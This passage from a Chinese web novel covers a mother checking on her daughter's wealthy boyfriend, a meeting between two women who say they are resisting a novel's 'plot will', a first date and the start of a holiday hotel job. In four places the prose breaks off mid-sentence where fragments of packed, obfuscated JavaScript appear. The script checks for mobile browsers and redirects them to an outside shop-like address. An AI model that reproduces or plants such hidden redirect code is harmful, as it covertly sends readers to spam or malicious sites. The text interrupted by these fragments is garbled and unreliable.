“他叫段胥阳,他的父亲是咱们当地有名的企业家,人家都住在溪岸枫庭那房价堪比首都市中心的地方,全市恐怕再没有比他家更高的枝了。” 就因为这么一句话,她无头苍蝇一样找了过来,好在没找错。 有个看起来年近四十岁的保安出来对她说:“你好,这里需要业主登记才能进,如果你是来做客的,麻烦跟主家打个电话。” 施有第拢了拢外套,冲他微笑:“这位兄弟,我不进去,是想找你打听些事。放心,不是什么私事,只是想问问你,这个人人品好不好。” 保安有些犹豫,见她衣装得体,说话也客气,也不好无礼驱赶,只能说:“按规定,我们是不能透露业主的任何信息的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161944|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我不瞒你,刚刚进去的那个孩子,叫段胥阳吧?他是我女儿的男朋友,我担心他家境殷实,反而品行不好。你们与他常打交道,麻烦你简单跟我透个底,我做母亲的,也好安心。” 那保安的脸色这才缓和下来,他说话音量都大了些:“要为这事,大姐你就放心吧,这孩子也是我们看着长大的,人很聪明礼貌,父母也都好相处。你呀,就放手让孩子们自己发展就好。” 施有第笑着道谢,又说:“当家长的,哪有那么容易放手。” “放不了手,才更要放手。”保安也是当父亲的人,他的孩子还年幼,但他已经看了不少父母经。 “从来不是孩子离不开父母,是父母离不开孩子。家长干预过多,不是揠苗助长,就是压迫得孩子长不起来,还是等他们能站稳了,就让他们自然生长吧,省的将来怨我们。” 新年第一天,天气出奇的好。天空湛蓝如洗,万里无云,往日嘶吼不停地劲风都收敛了,只徐徐吹着小风。 施有第转身向外走去,看到沿途那精致的造景,她不禁嗤笑:“看人的眼光倒是比我准。” 她当初嫁给罗福军,就是以为他家里有个饭店,日子能过得不错,哪曾想一地鸡毛。 如今罗姝倒是一眼找准了真富二代。 溪岸枫庭为了保障业主隐私,公交车站、出租车点和公共停车场都建得离正门口很远,她还得步行一段距离。 她一边走,一边回忆。 罗姝质问她,是否在她十分年幼的时候,作为母亲的她,就已经规划好了女儿的一生,要求她一定要考上清大。 施有第当时并没有回答,但答案一直在她心里。 是,也不是。 最初怀孕时,如同每一个新手妈妈一样,她也满心希望肚子里的孩子平安顺遂,直到罗姝出生,是个女儿。 她多么害怕自己的女儿会走上自己的老路,被那些渴望男丁传宗接代的老古董们忽视、欺凌。 可她的女儿又与她不同,那个孩子,在十分年幼的年纪,就已经展露出了超脱出同龄人的聪慧。 她必须要一直聪明下去。 施有第告诉自己,只有这样,姝姝这个女孩子,才能压过那些他们更加看重的男孩子,争来旁人正视的目光。 只是可惜,姝姝本人,却并没有和她一样的志向。 火冒三丈时对罗姝说过的话,施有第也称不上后悔。脱口而出的都是真心话,她已年过半百,懂得这个道理。 父母与孩子也需要缘分,也许她就是这样一个六亲不和的人。 她与她的孩子无法达成一个一致的理念,那么即便是至亲,也可以分崩离析。 只要确认罗姝没有被引诱欺骗就行。 她到底也还是一个合格的母亲吧? 施有第在心里问自己。 回忆到尽头,是她翻着一本破旧的字典给新生儿取名。她的文化水平并不高,却一眼就看中了“姝”这个字。 姝,美好。 那时她想着,她的孩子,一定要拥有美好的一生。 45. 争夺自我第3天 新年假期结束,期末周也正式降临,罗姝的学校是周边所有学校中最早开始考试的。 在此之前罗姝收到了邮件,老师称她们小组思修课程上递交的几个视频作业在年级排名中位列前三,可以获得额外学分奖励。 “前三?我们做了一个大系列,每个作业都是精品质量,居然才前三?!”康雅琪一边高兴有额外加分,一边又为自己小组鸣不平,她开始检索关键词:“我倒要看看第一名有多夸张。” “人外有人,天外有天。没人没天,还有特权。”白婵正恶补知识点,闻言随口道:“反正加的学分也差不多,不如抓紧这个优势,考个好成绩,提一提绩点,搞不好下学期能申请奖学金。” 林莎也点头:“是这个道理。” 紧接着她就哀嚎起来:“英语为什么还要考选择题啊!我从小学毕业以后就没做过英语单选,完全记不住单词释义。” 她羡慕地看着罗姝:“姝姝,你的脑子是怎么把英语单词装进去的?” 罗姝正照着教程织那顶毛线帽,她不算手巧,织了又拆,拆了又织,到现在还差一点收尾工作没有做完。 她还在一心二用,抽空把笔记都做成了电子文档,找了个有声软件自动朗读,用这种方式复习。 “按照记忆曲线,日复一日背诵。” 白婵在一旁中译中:“就是要刻苦勤劳不能偷懒。” 林莎怏怏地趴回桌子上:“一针见血,扎着我大动脉了。” 无论学子们如何痛苦地度过这一个考试周,这一学期都已经走到了末尾。 最后一场考试进行时,考场外的走廊上摆满了行李箱,大家都计划着铃声一响就交卷飞奔。 罗姝的三位室友也在其中,她们都是隔壁省的,还能坐同一辆动车回家,于是等考试结束,就只剩下罗姝一个人回到空荡荡的寝室。 罗姝这个寒假格外的漫长,甚至她的学生坨坨还在上最后一周课,她就已经先一步放假了。 前几天她就和乔玉清沟通过,年前坨坨会被带出去旅游,假期补课事宜年后才会继续。 所以罗姝并不急着回老家,她打算先在学校所在的省会城市打个一个月短工。 行李箱都是前一天收拾好的,罗姝又环视了一圈,没有发现漏掉的物品,这才拎着箱子下楼。 段胥阳早已经等在她寝室楼下,见她出来迎上去接过她手里的行李箱,又抱怨着:“宿管阿姨盯我跟盯贼似的,我就算再担心女朋友,也不会强闯女寝的好嘛!” “说明阿姨负责,是个好阿姨。” 罗姝从背包里找出自己织的帽子:“低头。” 段胥阳乖乖弯下腰来,还没等她戴好就在问:“好看吗?好看吗?” 罗姝购买材料的时候,留了一个小心眼,她买了一个能撑起小狗耳朵形状的款式。 虽然她无数次在这个部位错针漏针打回重做,但等成品做好时,看着那憨态可掬的样子,罗姝心里的火气直接全部打消了。 如今段胥阳顶着小狗耳朵,双眼水润地望着她,罗姝更是觉得,当时的灵机一动,恐怕是她做过最正确的决定。 她摸了摸他的头:“超可爱。” 段胥阳顿时把腰板挺得更直了。 很快回到工作室,罗姝看到停车位里已经端正停着一辆陌生的轿车,车牌号开头和段胥阳的车一样。 “有客人在吗?” “要不要猜猜看是谁?”段胥阳把车停好,扭头冲她挤挤眼睛。 罗姝眨了眨眼睛,心里已经闪过一丝预感,只是还不等她说话,高处突然传来一阵昂扬的钢琴声,带着磅礴的动荡感敲响了车窗。 那旋律很熟悉,从小时候的音乐鉴赏课,到长大后各种网络视频中的频繁使用,怕是从不听音乐的人都能下意识跟着哼唱。 段胥阳愣了一下,接着便笑起来:“她没关隔音窗户,看来是弹给我们听的,在欢迎我们呢。” 罗姝也跟着笑,她推开车门,站在草坪上,闭眼聆听。 或急或徐的琴音像一望无垠的大海,气势排山倒海般袭来,倔强与不屈裹挟在缓急演变的节奏里,那英勇的抗争最终迎来了全面胜利。 《C小调第五交响曲》,又名命运交响曲。 罗姝这时终于明白,一个曾被定义为“享誉世界的钢琴家”的人,她对于钢琴的天赋与造诣都何等恐怖。 那样纯粹简单的黑白琴键交织在一起,居然能描绘出如此盛大、如此心潮澎湃的心事。 可她又能将这一切轻描淡写地揭过,从另一个领域重新翻开人生新的篇章,做不被定义的Skuld。 琴声尚未彻底停歇,罗姝耳畔突然炸起一片尖锐的呓语,一些毫无意义的语调带着愤怒的情绪侵占了她的耳道,罗姝试图用手去堵,但于事无补。 那似乎是从灵魂深处传来的呐喊,并非身体上的淤堵可以隔绝。 浑身内脏将要迸裂的刺痛感也通过每一根血管流淌过全身,她的眼前一阵黑,一阵白,整个天空都变得昏暗起来。 罗姝踉跄了一下,恍惚中,她仿佛听见那琴键也发出毫无规律的两声尖叫。 但一切尚可忍受。 罗姝清醒地感知着一切不适。 昏厥、疼痛、耳鸣,那在六月时,如强盗般冲入她生命,将她生活搅乱得一团糟的灾难,似乎在她身上集体卷土重来了。 罗姝曾以为它们是耀武扬威的夺命妖怪,直到现在,她彻底看清。 它们其实是蒸锅上的螃蟹,再怎么威风凛凛地挥舞着蟹钳,也不过是临死前的虚张声势。 她也终会扼住命运的喉咙。 痛苦模糊了对时间的感知,不知过了多久,等到罗姝四肢都麻木的时候,那些疼痛也如潮水般缓缓褪去。 她这才发觉自己正半倒在地上,段胥阳抱着她,眉头蹙成一团,难掩焦急地喊着她的名字:“姝姝?姝姝!” 罗姝晃了晃脑袋,重新恢复了清明,她安抚地摸了摸他的脸,便站起身,找了个借口:“我没事,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170663|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有些低血糖。” 段胥阳松了一口气,到底没彻底放心:“是不是没有按时吃早餐,以后三餐都要准时吃知道吗?” 他越说脸色越难看:“你还要一个人留在这边打工,我现在不放心了,要不还是跟我去首都吧。” 其实这几天他没少提议这件事。 逆时针乐队假期要在首都完成乐队专辑的制作,段胥阳得知罗姝假期要找工作,就一直说他们还缺个助理,想带着罗姝一起过去。 “跟你去首都,实际上是当米虫,留在这里,则是自立自强。”罗姝快走了两步抢先推开门:“你还是接受这一个多月的异地恋吧。” 进门先闻到一股浓郁的奶香,有个金发碧眼的外国帅哥正坐在沙发上,手里握着一个奶瓶,给怀里的小宝宝喂奶。 罗姝顾不上发愣,反应很快地把身后的段胥阳拽进屋里便迅速关上门,避免风钻进来害小宝宝打嗝。 曹非双手抱臂盯着小外甥女一脸傻笑,闻声头也不抬地说:“没事,最近天气不错,我们还会专门带她去外面吹吹风呢。” “哦,呵呵。”罗姝干笑了两声,又瞥向那外国帅哥,试探地叫了一声:“这是姐夫?” “是我!”帅哥张口吐出一串带有浓重口音的普通话:“听说你们在这里搞了个工作室,我们也过来参观一下!” 这下罗姝可以安心了,小说里曹恩悦嫁了个外籍华人,眼前这位姐夫则是个纯外国友人,至少能够确认她避开了原著中的渣男。 这么想着,她又打量了外国姐夫两眼,试图从面相中看出来这人是好是坏。 “安德鲁可是模特出身哦,很帅气吧?” 身后传来一道柔和的女声,罗姝下意识握紧了拳头转身看去。 楼梯上站着一个笑意盈盈的女性,她刚生产完没多久,身材还没有彻底恢复,从脸型到身形都圆乎乎的,气质十分亲切。 她跟罗姝想象中的样子很不一样。 罗姝曾以为她会更有棱角,更加尖锐,更个性十足。尤其她已经从事时尚行业,或许妆容衣着都与众不同。 但她只是一个邻居姐姐的形象,即便有着出众的外形和气质,放在人群中,也不会引起多少关注。 当这些想法从罗姝脑海中迅速闪过时,她紧接着便在心里嗤笑自己。 外形的包装又不是对抗世界的武器,真正的力量藏在心里,无论何种形象。 倒不如说,她没有料到她和曹恩悦的会面是在如此寻常的一个午后。 她还让段胥阳帮忙预约了曹恩悦的时间,以为两个人真正见面会是在一个相当正式的场合。 一切的发生,就是这样自然、日常。真正的生活不会有太多聚焦和布景。 楼梯上的女性已经走近,她随手扎的低丸子头并不完美,有几缕头发从皮筋中钻了出来,但她并不在意,只是冲着罗姝伸出手。 “你好,我叫曹醍,醍醐灌顶的醍。” “也许你更熟悉我从前的名字,曹恩悦。” 46. 争夺自我第4天 罗姝对于她的印象,从小说原文中的女主角,到一个名字清晰的曹恩悦,再到打破剧本的Skuld,最终,凝聚成了眼前的曹醍。 那才是她真正的模样。 正如罗姝对于自己的认知,从小说中会被取而代之的工具尸,到尝试走剧情以求解脱的暗恋女配角,再到罗姝本人。 好像总需要绕一个大圈子,才能认识最本真的自我。 她敛下感慨,递上自己的手,发自内心地说了一句:“久仰大名。” 手掌接触的那一瞬间,一些只有她们心知肚明的揣测,彻底落为真实。 年龄上相差一轮,命运上却离奇交叠的二人相视一笑。 “咦,你怎么会知道曹姐的曾用名?”段胥阳看向曹非:“你介绍过吗?” 曹非也呈茫然摊手状:“不知道啊,我都快忘了我姐之前还有个名字了。” “小孩子家家的别那么八卦,快去做饭吧,别让你姐夫进厨房。”曹醍一视同仁地在两个人背后各拍了一掌,并威胁:“敢让安德鲁做白人饭你们就死定了。” 曹非一个趔趄差点甩出去,段胥阳得益于每天早晨的晨练,还能站稳,他翻着白眼吐槽:“不想吃白人饭还嫁个热衷于做饭的外国人。” 他骄傲地提了下肩膀上罗姝的包:“我先把女朋友的行李放好。” 一屋子的人被曹醍安排得明明白白,段胥阳和曹非负责厨房,安德鲁负责小孩,她则拉着罗姝往隔音效果最好的排练室走。 “老实说,之前我也并不确定你是否同我一样了解了些世界的秘密。所以只敢在曹非找我要杂志的时候,偷藏私心将我的女刊送了过来。” 她说着大笑起来:“之后曹非看到杂志,还找我吵了好几天。” “我是设计男装的,他们想跟着我的杂志学穿搭,我却送来一堆女刊,除了装点书架,起不到任何作用。” 故事很滑稽,罗姝也忍不住跟着笑,她想起那本六月刊,想起刊物里还夹杂着一片落叶:“那本杂志我很喜欢,它确实鼓励到了我,谢谢你。” “这有什么。”曹醍推门进去,坐在简陋的板凳上,接着说:“虽然尚且不知道你是什么立场,我还是认为我们都需要一次沟通,所以才这么着急赶了过来。” “你大概也遭受过它的手段,应该可以承受得住它的反噬。” 罗姝的四肢里,其实一直还残留着方才撕心裂肺疼痛的余韵,她点了点头:“我可以。” 曹醍表情怔忡了一瞬,接着她的笑容变得更加真挚:“那我可以确认,我们的确处于同个立场。” 罗姝其实并不懂曹醍一直强调的立场是什么意思,她们都是被死亡预言追着跑的人。虽然在原文中的番位不同,但生死之下众生平等,她们当然是同盟。 “为什么这么说?”屡次思考也不得章法的罗姝,拧着眉问道。 “因为,成为世界的主角其实是很有诱惑的事情,可以让所有的一切都围绕着自己打转。总有人无法拒绝这份特殊。” “而与剧情牵扯的越深,就越不能抵抗‘它’的力量。” 说到这里,曹醍顿了一下,才接着说:“你这么斩钉截铁地说你可以,那恰恰意味着,相比起所谓的剧情,你个人的意志正占着上风。” “呵,”罗姝轻笑起来:“我又不是主角,当然不会受到诱惑。” “不,你是主角。”曹醍表情平静,语调也没有特意加重,却平静地扔出一颗雷:“你是作者修文后,唯一的主角。” 触发到了关键词,罗姝耳朵里又响起呕哑嘲哳的杂音。 真实环境里的各种声音只能断断续续传入耳朵,罗姝冲她示意了一下自己的问题,飞速冲出去找到自己专门用来梳理逻辑的笔记本。 她的气息还没喘匀,先茫然地问了一句:“作者修文?” 曹醍接过她手里的纸笔,写下龙飞凤舞的大字:原文大改。 已从“曹恩悦重生复仇”变更为“罗姝暗恋成真”。 这不是一次简单的修改,甚至说作者重新写了一本都不为过。 小说从都市娱乐圈复仇频道转向校园甜宠初恋频道,主角栏上女主角的名字依然是罗姝,却不再需要括号里象征灵魂的“曹恩悦”三个字。 这对于旧的剧情而言,是一次彻底的毁灭。 而曹醍知道这件事,是在她的十八岁,距今十二年之前。 “你被作者剥夺了女主角的地位,这个世界也将被全新的剧情入侵。但这并不公平,明明这个世界建立在我之上。” 自称剧情意志的不可名状之物在某个新旧剧情碰撞的裂缝中悄然入侵了曹醍的大脑,并在她的识海里恶魔般低语。 “白纸黑字写下来的东西不会轻易消失,经年累月创造的世界也不会迅速被取代,只要你依然掌握女主角的权柄,这个世界便仍由你我说了算。” 它指出一条明路:“如今我的权限更大,我会安排男主角段胥阳的母亲如原剧情一样意外离世,你趁机去安抚他、照顾他,让他对你情根深种……这样,等未来新的女主角出现后,你就无需忌惮她了。” 18岁的曹醍看着需要被攻略的男主,年仅6岁到处拆家的段胥阳:“……” 这剧情跟失了智似的。 她打探过剧情对石攻玉的安排,是突发心脏病猝死身亡,她本想偷偷提醒一下石攻玉注意休养。 但令他们都没有料到的是,忙成空中飞人、每天仅有两三个小时睡眠时间的石攻玉,忽然自己停了大部分工作,宣布要平衡家庭与事业。 这使得她发病的严重程度将大幅度降低。 剧情意志只能精挑细选了一个只有石攻玉一人在家的时间,妄图通过拖延病情来塑造她的死亡。 然而,平时要在游乐场玩大半天的段胥阳,也在那一天提前回家了。 他目睹了石攻玉犯病的过程,并及时叫来保姆,让石攻玉能顺利就医,也将剧情彻底改写成了新的篇章。 这一步,就是剧情意志节节溃败的开始。 曹醍看到了成功逃离命运的石攻玉,意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175813|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这个看似控制着她命运的家伙其实可以抵抗,她也不再假意奉承。 只是撕掉女主角的标签,这注定是一个痛苦且漫长的过程。 最严重的时候,她无法掌握自己的身体,宛如上了发条的机器、装了提线的木偶,只能机械地呈现剧情需要她呈现的言行。 按照那个剧本,未来已经一目了然。 她会去国外进修钢琴、和一个渣男恋爱结婚、生一个注定会失去父母的女儿、最后等待曹恩悦这个身份彻底消失,然后等待那个会被男主角选择,再次成为女主角的几率。 凭什么呢? 她明明没有那么热爱钢琴,为什么要为自己不钟爱的事业付出短暂的一生。 她明明铭记了渣男的姓名与样貌,为什么要为了不确定的宿命主动葬送自己的婚姻。 她明明可以为自己的女儿提供更加幸福美满的家庭环境,为什么要眼睁睁看着她成为孤儿。 她明明可以如同这个世界上每一个女孩一样,与喜欢的人肆意恋爱,与深爱的人步入婚姻,为什么要把未来的希望寄托在一个男人的救赎上呢? 她的路,由她来走,才会更加精彩。 碎裂声中,曹醍重新拿回了自己身体的控制权,她不顾劝阻地放弃了钢琴,又改了名字。 她将从废墟中重建自己的人生。 时间一点一滴流逝,随着新文时间线的逼近,这个世界的背景还是渐渐被塑造成了新文想要的模样。 剧情意志的反抗,不过是强行留住一些旧情节的影子。 直到五月的某一天,它从曹醍的大脑中消失了,但曹醍仍能偶尔感受到触发底线的反噬。 “我猜它去找了你。”曹醍工整地写着:“让新的女主角不再是女主角,也是它能维持自己地位的方式。” 五月。 罗姝摸着耳朵。 恰好是在五月,她开始频繁听到杂音,那自带干扰效果的音效令她成日烦躁不已,难以安神。 “所以,我听到的那些杂音,事实上,是它妄图与我交流,像与你交流那样。” 伴随着这一句话的脱口而出,罗姝的世界猛地清净了。 只是随之而来的,是身体上加倍的刺痛,像是什么东西在恼羞成怒。 “它让我通过做梦的方式知道了第一版小说的剧情,让我以为自己只是个提供身体的工具人。” “我也确实试图通过实现剧情的方式来规避折磨。”同样的疼痛中,罗姝却丝毫感受不到从前那种深刻的绝望。 她也不解:“与剧情牵扯的越深,就越不能抵抗。为什么我按照它的指示,像剧情里那样接触了段胥阳,反而会减轻痛苦呢?” “或许是在这过程中,你对自我的认可程度不断上升吧。况且罗姝的‘暗恋’是通用剧情,你真正实现的是哪一版剧情还不能下定论。” 曹醍又在琴键上随意地弹奏着什么:“不过,原剧情的意志在你我身上,那么新剧情的意志呢?” “我猜,它在段胥阳的身上。” 47. 争夺自我第5天 曹醍这一次过来,除了要见罗姝一面,顺便参观一下傻弟弟搞出来的乐队工作室以外,还有一个更加重要的事情要办。 她还在孕期时曾为某个男艺人量身定制了一件礼服。 年底有各种颁奖礼、年终总结,这件战袍即将派上用场,正好该艺人在隔壁市参加活动,她得尽快赶过去做最后调整。 “那你会抱他吗?给他量腰围的时候?”饭桌上,男星的影子都还没见到,安德鲁就扁起了嘴。 曹醍给他夹了一块蔬菜做安抚:“我肯定不会主动抱他,但做衣服避免不了会产生接触,我会保持着社交距离的。” “不,他会爱上你的。”安德鲁颓废地甩着头:“当我还是一个不起眼的模特时,每一次你为我整理服装,我的心脏都在尖叫。你是迷人的东方精灵,没有人能抵抗得了你的魅力。” 曹醍:“……” 她的耐心显而易见地降低中。 曹非正好坐在罗姝左手边,罗姝对他投以询问的目光。 该不会每次吵架都是这个原因吧? 曹非一脸无语重重点头。 对,没错。 罗姝回忆起自己还一度认为频频吵架是他们婚姻腐烂的开始,不禁哑然失笑。 怪不得段胥阳也好,其他人也好,都没有将他们的争吵放在心上呢。 一顿午餐结束,曹醍一家子赶时间,把曹非也打包起来一起带走了,整间别墅只留下段胥阳和罗姝两个人来收拾狼藉。 有些活不自己干一遍就没有概念,五个成年人外加一个小婴儿居然能制造这么多生活垃圾,两个人跑了两趟才将桌面清空。 才刚喘口气,走进厨房一看,锅碗瓢盆也全都占用了一遍,洗碗池挤挤挨挨,堆得很满。 “我现在知道,为什么我家阿姨一直劝我边做饭边收拾了。”段胥阳一脸懊恼,抹起袖子开始干活。 罗姝本来也想帮忙一起洗碗,被他打发去擦桌子。 她在抹布上涂了少许洗洁精,擦过时在桌面上留下一道一道的白色泡沫,又将抹布放进热水里投洗时,她盯着那些泡沫,渐渐慢了动作。 新剧情的意意志,是在段胥阳的身上吗? 好像确实,与他相关的人、事、物都会好起来。 它也会与段胥阳沟通吗?它以何种形态与段胥阳共存? 细密的泡沫随着时间流逝而一一破碎,罗姝重新拧干抹布,将那些痕迹一一拂过,沾染了油污的餐桌很快就灿然一新。 她抱着水桶和抹布回到厨房,段胥阳也刚将简单冲洗过的餐具放进了洗碗机里。 “段胥阳,你有没有过思想、行为都不受自己控制的时候?”罗姝盯着他的背影看了两秒,索性开门见山直接问道。 段胥阳转过身来,摸着下巴作沉思状,思考了片刻,他斩钉截铁地说:“没有,我从小就有主见,没人能逼我做任何我不喜欢的事情。” “那万一,”罗姝顿了下:“你的喜好,只是看似发自于你的内心,实则也是被什么东西影响着做出的选择呢?” 罗姝表情非常认真,认真到有些严肃,段胥阳噗嗤一笑:“这不是当然的嘛,生活环境就会影响一个人的很多观点,左右一个人的很多决定,人类不是活在真空中,肯定会受到各种各样声音的影响。” “我受到了影响,我也真正热爱,就已经足够了。” 他的手因为洗过碗的缘故,指腹有些发白发皱,还带着一丁点洗洁精的味道。他借着身高优势摸了摸罗姝的头顶:“是曹姐跟你聊了些掏心窝子的话让你产生思考了?” 罗姝闷闷地点了点头,她又问:“那,如果你喜欢我这件事,也是被什么东西影响的呢?” “你以为你喜欢我,或许只是别人希望你这样以为,就像被催眠一样。” “真正属于段胥阳的情感也许还在沉睡,你在无意识地扮演一个喜欢上罗姝的段胥阳。” 这些言论听在段胥阳耳朵里堪称奇思妙想,他把人拉在怀里抱紧,又贴着她的脸颊蹭了蹭:“胡思乱想什么呢,假模假式假喜欢的人会忍不住一直亲亲你吗?” 罗姝也顺势搂住他的腰,侧脸贴近他的心口:“你都被催眠了,在你的认知里,我就是你喜欢的人,你当然会用面对真正心上人的态度来面对我。” “要是能被催眠到这种程度,那也不必分那么清楚,你就是我喜欢的人。”段胥阳又揪着她叭叭亲了两口,“别瞎想,快去睡个午觉,这里我来搞定。” 罗姝不知道自己要不要明说,又能不能明说,她在这一天里已经遭受过太多次反噬,或许她已经不能再承受一次疼痛。 还有时间,她再从长计议,迟早会找到真相的。 她一步一回头,慢慢挪回了房间。 记录一切秘辛的笔记本还摊在书桌上,她走上去将它合上,放进书包里。 时针又悄然爬过了几格,夜晚来临时,罗姝接到了某一个专业课老师的电话。 出于安全考虑,罗姝没有贸然寻找工作,而是求助了这位老师。她曾带领罗姝的班级去过不同单位见习,手里捏着一摞人事部门的名片。 这些单位都和罗姝的学校有深度合作,在这些地方当假期工,三方都放心。 这次老师打电话来正是为了这件事,她已经帮罗姝联系好了市内一家五星级酒店,酒店方也很照顾罗姝这个学生,给了一个不错的岗位。 罗姝一口应下,在老师的帮助下加上了酒店人事的联系方式,并约定好了上工日期。 解决了一桩心事,罗姝沉甸甸的心情总算放松了几分,她迈着轻快的步伐小跑到楼上段胥阳的房间,将这个好消息分享给他。 “周休两天,只上半天班,薪资2000?”段胥阳绞尽脑汁也没想到这个待遇哪里算差。 他曾了解过酒店一线底层员工的薪资,很多转正员工的时薪都比不上罗姝这个假期工。 眼看拐带罗姝去首都继续和和美美的计划已经彻底夭折,段胥阳不再心存指望。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181859|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他调整心态开始帮着罗姝做打算:“什么时候过去?离这里远不远?提不提供宿舍?得准备一些住宿物品吧,被褥枕头有吗?” “都有,不用担心我,我会照顾好自己的。”罗姝说:“你后天出发去首都,我也从后天开始上班,明天还能在一起一整天呢。” 段胥阳又被她一句“在一起一整天”给哄开心了,他凑过来掰着手指头数:“那我们可以去约会,动物园、水族馆、电影院、压马路,还可以干好多事情。” 情绪就这样转换过来,他又乐呵呵地给自己谋福利:“之后的一个月我一定会疯狂想你,给我一点你的东西让我睹物思人呗!” “我好像也没什么能给你的。”罗姝思索着:“我没有首饰,没有小皮筋,没有特别钟爱的玩偶,非要说有什么东西是我从不离身的……” 她不自信地说:“学习笔记?” 那可真是扫兴但诚恳的贴身之物了。 段胥阳捧着肚子笑了大半天,怎么看她都觉得可爱:“好,给我一本英语笔记,我明年也要考四级,看别的教辅书都容易犯困。” 第二天,两个人早早起床,严格按照约会计划开始行动。 两个人在一起这么久,这是第一次正儿八经的约会,段胥阳专程拾掇了一个帅气的发型,罗姝也生疏地化了个淡妆,一路还用段胥阳送的拍立得拍了不少照片。 除了证件照,罗姝很少拍照,看着拍立得相纸上缓缓浮现的留影,那偶尔不完美的表情、肆意播散的亲昵和青春逼人的气氛,她轻笑起来。 这一幕幕也是详细写在小说里的吗? 还是留白在了某一页里,只留下一句笼统的概括总结? 无论如何,至少她此刻感受到的全部情绪,都是真实的。 这一天温暖又美好,唯一可惜的是,从电影院出来后,段胥阳就接到了孟宇寰催促的电话。 逆时针乐队约的那位制作人老师临时出现行程问题,不得已需要提前见面时间,段胥阳必须在今晚就赶到首都。 此时距离下一班飞机起飞的时间已经不足两个小时,他们所处的电影院还在市中心,距离郊区的机场最远。 孟宇寰刚到工作室,他匆匆收拾了一些纸质资料,对段胥阳说:“你的行李我替你收,你直接去机场吧,不然会来不及。” 段胥阳已经提前收好了大部分的行李,他倒是不怕孟宇寰落下什么,但有一样东西他必须叮嘱:“孟哥,姝姝的包里有一个笔记本,记得帮我带上。” “英语笔记本的封面是浅色的。”罗姝在一旁提醒道。 孟宇寰拎着几个箱子狼狈地下楼,他没好意思进入女孩的房间,正好书包就挂在门口的衣架上,他站在门口小心地拉开拉链。 有几本笔记整齐地摞在一起,一眼看上去外观都是牛皮纸,他随手拿起一本封面很素雅的笔记本,又确认了一遍:“是浅色封面对吧?” 得到确认的答案后,才将这本笔记小心放进了段胥阳的行李箱。 48. 争夺自我第6天 和酒店签订过三方协议后,罗姝就被人事部的姐姐带到了一楼西餐厅,罗姝的工作就是站在餐厅入口处检票。 工作内容很轻松,唯一的缺点是需要一直站着,不过她暑假在便利店打工时,大部分时间也只能站着,所以适应起来还挺快。 罗姝最满意的一点是,人事问过她的意见后,承诺只给她安排上午班。 这样一来,罗姝下班后还能有半天时间用来学习,或者完成一些额外的剪辑工作。 她已经爱上了这种从无序中创造秩序的过程,想要一直坚持下去。 这份动力还有一个十分重要的支撑,就是观众的支持。 罗姝现在每天都要观测一下乐队账号和她个人账号的数据波动。 乐队那边起伏比较大。宣传第一天他们轮流买推大概起到了至关重要的作用,之后发布的视频都赶不上那天的数据。 好在陆陆续续地吸引了一波路人去看动漫,没有辜负剧组的期望。 罗姝个人账号则稳步提升。 她每周都会尽心尽力产出一个练习作品放到主页上,素材来自于各大IP,涵盖多部动漫、影视剧,什么CP向热血向追忆向她全都涉猎了一遍,不知不觉就积攒了数量可观的“养成粉”。 ——不少人都期待她能尽快成长起来,然后点菜给自己产粮。 “这对CP……”两人视频通话时,段胥阳闲着无聊翻了翻罗姝视频的评论区。 他看着点赞数量最高的那条求粮评论十分不解:“一个歌手,一个话剧女演员,他们两个真的有交集吗?” 罗姝还真了解过,她利索地回复了一句:“没有。” “甚至从目前的各种物料来看,他们俩实际上应该完全不认识。” “那网友是怎么嗑起来的?”他追问。 “呃,”罗姝不确定地吐出一个答案:“据说是因为楼常山有个女装造型和沈溪长得非常像,网友拿他们玩梗。” 但这两个人摆在一起越看越般配,不知从何时起真情实感嗑这对拉郎CP的人就占据了主流。 听到解释,段胥阳抱着手机,看着窗口里罗姝的身影语气羡慕地说:“要是有一天,我们两个的CP粉也有这么多就好了。” 罗姝手上动作一停:“真情侣也需要CP粉吗?” “那当然啦,都是粉丝为什么不要!”段胥阳美滋滋地幻想起来:“到时候就会有许许多多的人祝福我们。” 罗姝被他表情逗笑,正要再说什么,门口传来钥匙转动的声音。 她止住话头:“我同事回来了,之后再聊。” 